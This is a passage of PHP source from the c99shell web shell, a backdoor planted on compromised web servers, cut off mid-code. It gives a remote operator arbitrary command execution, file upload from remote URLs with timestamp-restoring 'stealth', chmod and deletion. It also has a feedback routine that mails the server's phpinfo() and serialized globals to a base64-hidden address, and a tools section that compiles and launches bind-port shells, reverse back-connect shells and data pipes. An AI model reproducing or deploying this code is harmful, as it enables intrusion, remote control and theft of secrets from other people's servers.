  if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} 
  $rnd = rand(0,9).rand(0,9).rand(0,9); 
  echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; 
} 
} 
if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} 
if ($act == "feedback") 
{ 
$suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); 
if (!empty($submit)) 
{ 
  $ticket = substr(md5(microtime()+rand(1,1000)),0,6); 
  $body = "c99shell v.".$shver." feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."

IP: ".$REMOTE_ADDR; 
  if (!empty($fdbk_ref)) 
  { 
   $tmp = @ob_get_contents(); 
   ob_clean(); 
   phpinfo(); 
   $phpinfo = base64_encode(ob_get_contents()); 
   ob_clean(); 
   echo $tmp; 
   $body .= "
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
"; 
  } 
  mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); 
  echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; 
} 
else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} 
} 
if ($act == "search") 
{ 
echo "<b>Search in file-system:</b><br>"; 
if (empty($search_in)) {$search_in = $d;} 
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} 
if (empty($search_text_wwo)) {$search_text_regexp = 0;} 
if (!empty($submit)) 
{ 
  $found = array(); 
  $found_d = 0; 
  $found_f = 0; 
  $search_i_f = 0; 
  $search_i_d = 0; 
  $a = array 
  ( 
   "name"=>$search_name, "name_regexp"=>$search_name_regexp, 
   "text"=>$search_text, "text_regexp"=>$search_text_regxp, 
   "text_wwo"=>$search_text_wwo, 
   "text_cs"=>$search_text_cs, 
   "text_not"=>$search_text_not 
  ); 
  $searchtime = getmicrotime(); 
  $in = array_unique(explode(";",$search_in)); 
  foreach($in as $v) {c99fsearch($v);} 
  $searchtime = round(getmicrotime()-$searchtime,4); 
  if (count($found) == 0) {echo "<b>No files found!</b>";} 
  else 
  { 
   $ls_arr = $found; 
   $disp_fullpath = TRUE; 
   $act = "ls"; 
  } 
} 
echo "<form method=POST> 
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> 
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp 
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> 
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> 
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp 
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only 
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive 
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text 
<br><br><input type=submit name=submit value=\"Search\"></form>"; 
if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} 
} 
if ($act == "chmod") 
{ 
$mode = fileperms($d.$f); 
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} 
else 
{ 
  $form = TRUE; 
  if ($chmod_submit) 
  { 
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); 
   if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} 
   else {$err = "Can't chmod to ".$octet.".";} 
  } 
  if ($form) 
  { 
   $perms = parse_perms($mode); 
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; 
  } 
} 
} 
if ($act == "upload") 
{ 
$uploadmess = ""; 
$uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath); 
if (empty($uploadpath)) {$uploadpath = $d;} 
elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} 
if (!empty($submit)) 
{ 
  global $HTTP_POST_FILES; 
  $uploadfile = $HTTP_POST_FILES["uploadfile"]; 
  if (!empty($uploadfile["tmp_name"])) 
  { 
   if (empty($uploadfilename)) {$destin = $uploadfile["name"];} 
   else {$destin = $userfilename;} 
   if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} 
  } 
  elseif (!empty($uploadurl)) 
  { 
   if (!empty($uploadfilename)) {$destin = $uploadfilename;} 
   else 
   { 
    $destin = explode("/",$destin); 
    $destin = $destin[count($destin)-1]; 
    if (empty($destin)) 
    { 
     $i = 0; 
     $b = ""; 
     while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} 
   } 
   if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} 
   else 
   { 
    $st = getmicrotime(); 
    $content = @file_get_contents($uploadurl); 
    $dt = round(getmicrotime()-$st,4); 
    if (!$content) {$uploadmess .=  "Can't download file!<br>";} 
    else 
    { 
     if ($filestealth) {$stat = stat($uploadpath.$destin);} 
     $fp = fopen($uploadpath.$destin,"w"); 
     if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} 
     else 
     { 
      fwrite($fp,$content,strlen($content)); 
      fclose($fp); 
      if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} 
     } 
    } 
   } 
  } 
} 
if ($miniform) 
{ 
  echo "<b>".$uploadmess."</b>"; 
  $act = "ls"; 
} 
else 
{ 
  echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> 
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> 
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> 
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> 
File-name (auto-fill): <input name=uploadfilename size=25><br><br> 
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> 
<input type=submit name=submit value=\"Upload\"> 
</form>"; 
} 
} 
if ($act == "delete") 
{ 
$delerr = ""; 
foreach ($actbox as $v) 
{ 
  $result = FALSE; 
  $result = fs_rmobj($v); 
  if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} 
} 
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} 
$act = "ls"; 
} 
if (!$usefsbuff) 
{ 
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} 
} 
else 
{ 
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } 
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} 
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} 
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} 
elseif ($actpastebuff) 
{ 
  $psterr = ""; 
  foreach($sess_data["copy"] as $k=>$v) 
  { 
   $to = $d.basename($v); 
   if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} 
   if ($copy_unset) {unset($sess_data["copy"][$k]);} 
  } 
  foreach($sess_data["cut"] as $k=>$v) 
  { 
   $to = $d.basename($v); 
   if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} 
   unset($sess_data["cut"][$k]); 
  } 
  c99_sess_put($sess_data); 
  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} 
  $act = "ls"; 
} 
elseif ($actarcbuff) 
{ 
  $arcerr = ""; 
  if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} 
  else {$ext = ".tar.gz";} 
  if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} 
  $cmdline .= " ".$actarcbuff_path; 
  $objects = array_merge($sess_data["copy"],$sess_data["cut"]); 
  foreach($objects as $v) 
  { 
   $v = str_replace("\",DIRECTORY_SEPARATOR,$v); 
   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} 
   if (is_dir($v)) 
   { 
    if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} 
    $v .= "*"; 
   } 
   $cmdline .= " ".$v; 
  } 
  $tmp = realpath("."); 
  chdir($d); 
  $ret = myshellexec($cmdline); 
  chdir($tmp); 
  if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} 
  $ret = str_replace("
","
",$ret); 
  $ret = explode("
",$ret); 
  if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} 
  foreach($sess_data["cut"] as $k=>$v) 
  { 
   if (in_array($v,$ret)) {fs_rmobj($v);} 
   unset($sess_data["cut"][$k]); 
  } 
  c99_sess_put($sess_data); 
  if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} 
  $act = "ls"; 
} 
elseif ($actpastebuff) 
{ 
  $psterr = ""; 
  foreach($sess_data["copy"] as $k=>$v) 
  { 
   $to = $d.basename($v); 
   if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} 
   if ($copy_unset) {unset($sess_data["copy"][$k]);} 
  } 
  foreach($sess_data["cut"] as $k=>$v) 
  { 
   $to = $d.basename($v); 
   if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} 
   unset($sess_data["cut"][$k]); 
  } 
  c99_sess_put($sess_data); 
  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} 
  $act = "ls"; 
} 
} 
if ($act == "cmd") 
{ 
if (trim($cmd) == "ps -aux") {$act = "processes";} 
elseif (trim($cmd) == "tasklist") {$act = "processes";} 
else 
{ 
@chdir($chdir); 
if (!empty($submit)) 
{ 
  echo "<b>Result of execution this command</b>:<br>"; 
  $olddir = realpath("."); 
  @chdir($d); 
  $ret = myshellexec($cmd); 
  $ret = convert_cyr_string($ret,"d","w"); 
  if ($cmd_txt) 
  { 
   $rows = count(explode("
",$ret))+1; 
   if ($rows < 10) {$rows = 10;} 
   echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; 
  } 
  else {echo $ret."<br>";} 
  @chdir($olddir); 
} 
else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} 
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; 
} 
} 
if ($act == "ls") 
{ 
if (count($ls_arr) > 0) {$list = $ls_arr;} 
else 
{ 
  $list = array(); 
  if ($h = @opendir($d)) 
  { 
   while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} 
   closedir($h); 
  } 
  else {} 
} 
if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} 
else 
{ 
  //Building array 
  $objects = array(); 
  $vd = "f"; //Viewing mode 
  if ($vd == "f") 
  { 
   $objects["head"] = array(); 
   $objects["folders"] = array(); 
   $objects["links"] = array(); 
   $objects["files"] = array(); 
   foreach ($list as $v) 
   { 
    $o = basename($v); 
    $row = array(); 
    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} 
    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} 
    elseif (is_dir($v)) 
    { 
     if (is_link($v)) {$type = "LINK";} 
     else {$type = "DIR";} 
     $row[] = $v; 
     $row[] = $type; 
    } 
    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} 
    $row[] = filemtime($v); 
    if (!$win) 
    { 
     $ow = posix_getpwuid(fileowner($v)); 
     $gr = posix_getgrgid(filegroup($v)); 
     $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); 
    } 
    $row[] = fileperms($v); 
    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} 
    elseif (is_link($v)) {$objects["links"][] = $row;} 
    elseif (is_dir($v)) {$objects["folders"][] = $row;} 
    elseif (is_file($v)) {$objects["files"][] = $row;} 
    $i++; 
   } 
   $row = array(); 
   $row[] = "<b>Name</b>"; 
   $row[] = "<b>Size</b>"; 
   $row[] = "<b>Modify</b>"; 
   if (!$win) 
  {$row[] = "<b>Owner/Group</b>";} 
   $row[] = "<b>Perms</b>"; 
   $row[] = "<b>Action</b>"; 
   $parsesort = parsesort($sort); 
   $sort = $parsesort[0].$parsesort[1]; 
   $k = $parsesort[0]; 
   if ($parsesort[1] != "a") {$parsesort[1] = "d";} 
   $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; 
   $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; 
   $row[$k] .= $y; 
   for($i=0;$i<count($row)-1;$i++) 
   { 
    if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} 
   } 
   $v = $parsesort[0]; 
   usort($objects["folders"], "tabsort"); 
   usort($objects["links"], "tabsort"); 
   usort($objects["files"], "tabsort"); 
   if ($parsesort[1] == "d") 
   { 
    $objects["folders"] = array_reverse($objects["folders"]); 
    $objects["files"] = array_reverse($objects["files"]); 
   } 
   $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); 
   $tab = array(); 
   $tab["cols"] = array($row); 
   $tab["head"] = array(); 
   $tab["folders"] = array(); 
   $tab["links"] = array(); 
   $tab["files"] = array(); 
   $i = 0; 
   foreach ($objects as $a) 
   { 
    $v = $a[0]; 
    $o = basename($v); 
    $dir = dirname($v); 
    if ($disp_fullpath) {$disppath = $v;} 
    else {$disppath = $o;} 
    $disppath = str2mini($disppath,60); 
    if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} 
    elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} 
    foreach ($regxp_highlight as $r) 
    { 
     if (ereg($r[0],$o)) 
     { 
      if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} 
      else 
      { 
       $r[1] = round($r[1]); 
       $isdir = is_dir($v); 
       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) 
       { 
        if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} 
        $disppath = $r[2].$disppath.$r[3]; 
        if ($r[4]) {break;} 
       } 
      } 
     } 
    } 
    $uo = urlencode($o); 
    $ud = urlencode($dir); 
    $uv = urlencode($v); 
    $row = array(); 
    if ($o == ".") 
    { 
     $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; 
     $row[] = "LINK"; 
    } 
    elseif ($o == "..") 
    { 
     $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; 
     $row[] = "LINK"; 
    } 
    elseif (is_dir($v)) 
    { 
     if (is_link($v)) 
     { 
      $disppath .= " => ".readlink($v); 
      $type = "LINK"; 
      $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; 
     } 
     else 
     { 
      $type = "DIR"; 
      $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; 
      } 
     $row[] = $type; 
    } 
    elseif(is_file($v)) 
    { 
     $ext = explode(".",$o); 
     $c = count($ext)-1; 
     $ext = $ext[$c]; 
     $ext = strtolower($ext); 
     $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; 
     $row[] = view_size($a[1]); 
    } 
    $row[] = date("d.m.Y H:i:s",$a[2]); 
    if (!$win) {$row[] = $a[3];} 
    $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; 
    if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} 
    else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} 
    if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} 
    else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} 
    if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} 
    elseif (is_link($v)) {$tab["links"][] = $row;} 
    elseif (is_dir($v)) {$tab["folders"][] = $row;} 
    elseif (is_file($v)) {$tab["files"][] = $row;} 
    $i++; 
   } 
  } 
  // Compiling table 
  $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); 
  echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; 
  foreach($table as $row) 
  { 
   echo "<tr>
"; 
   foreach($row as $v) {echo "<td>".$v."</td>
";} 
   echo "</tr>
"; 
  } 
  echo "</table><hr size=\"1\" noshade><p align=\"right\"> 
  <script> 
  function ls_setcheckboxall(status) 
  { 
   var id = 1; 
   var num = ".(count($table)-2)."; 
   while (id <= num) 
   { 
    document.getElementById('actbox'+id).checked = status; 
    id++; 
   } 
  } 
  function ls_reverse_all() 
  { 
   var id = 1; 
   var num = ".(count($table)-2)."; 
   while (id <= num) 
   { 
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; 
    id++; 
   } 
  } 
  </script> 
  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> 
  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; 
  if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) 
  { 
   echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; 
  } 
  echo "<select name=act><option value=\"".$act."\">With selected:</option>"; 
  echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; 
  echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; 
  if ($usefsbuff) 
  { 
   echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; 
   echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; 
   echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; 
  } 
  echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; 
  echo "</form>"; 
} 
} 
if ($act == "tools") 
{ 
$bndportsrcs = array( 
  "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), 
  "c99sh_bindport.c"=>array("Using C","%path %port %pass") 
); 
$bcsrcs = array( 
  "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), 
  "c99sh_backconn.c"=>array("Using C","%path %host %port") 
); 
$dpsrcs = array( 
  "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), 
  "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") 
); 
if (!is_array($bind)) {$bind = array();} 
if (!is_array($bc)) {$bc = array();} 
if (!is_array($datapipe)) {$datapipe = array();} 

if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} 
if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} 
   
if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} 
if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} 

if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} 
if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} 
if (!empty($bindsubmit)) 
{ 
  echo "<b>Result of binding port:</b><br>"; 
  $v = $bndportsrcs[$bind["src"]]; 
  if (empty($v)) {echo "Unknown file!<br>";} 
  elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} 
  else 
  { 
   $w = explode(".",$bind["src"]); 
   $ext = $w[count($w)-1]; 
   unset($w[count($w)-1]); 
   $srcpath = join(".",$w).".".rand(0,999).".".$ext; 
   $binpath = $tmpdir.join(".",$w).rand(0,999); 
   if ($ext == "pl") {$binpath = $srcpath;} 
   @unlink($srcpath); 
   $fp = fopen($srcpath,"ab+"); 
   if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} 
   elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} 
   else 
   { 
    fwrite($fp,$data,strlen($data)); 
    fclose($fp); 
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);} 
    $v[1] = str_replace("%path",$binpath,$v[1]); 
    $v[1] = str_replace("%port",$bind["port"],$v[1]); 
    $v[1] = str_replace("%pass",$bind["pass"],$v[1]); 
    $v[1] = str_replace("//","/",$v[1]); 
    $retbind = myshellexec($v[1]." > /dev/null &"); 
    sleep(5); 
    $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); 
    if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} 
    else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} 
   } 
   echo "<br>"; 
  } 
} 
if (!empty($bcsubmit)) 
{ 
  echo "<b>Result of back connection:</b><br>"; 
  $v = $bcsrcs[$bc["src"]]; 
  if (empty($v)) {echo "Unknown file!<br>";} 
  else 
  { 
   $w = explode(".",$bc["src"]); 
   $ext = $w[count($w)-1]; 
   unset($w[count($w)-1]); 
   $srcpath = join(".",$w).".".rand(0,999).".".$ext; 
   $binpath = $tmpdir.join(".",$w).rand(0,999); 
   if ($ext == "pl") {$binpath = $srcpath;} 
   @unlink($srcpath); 
   $fp = fopen($srcpath,"ab+"); 
   if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} 
   elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} 
   else 
   { 
    fwrite($fp,$data,strlen($data)); 
    fclose($fp); 
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} 
    $v[1] = str_replace("%path",$binpath,$v[1]); 
    $v[1] = str_replace("%host",$bc["host"],$v[1]); 
    $v[1] = str_replace("%port",$bc["port"],$v[1]); 
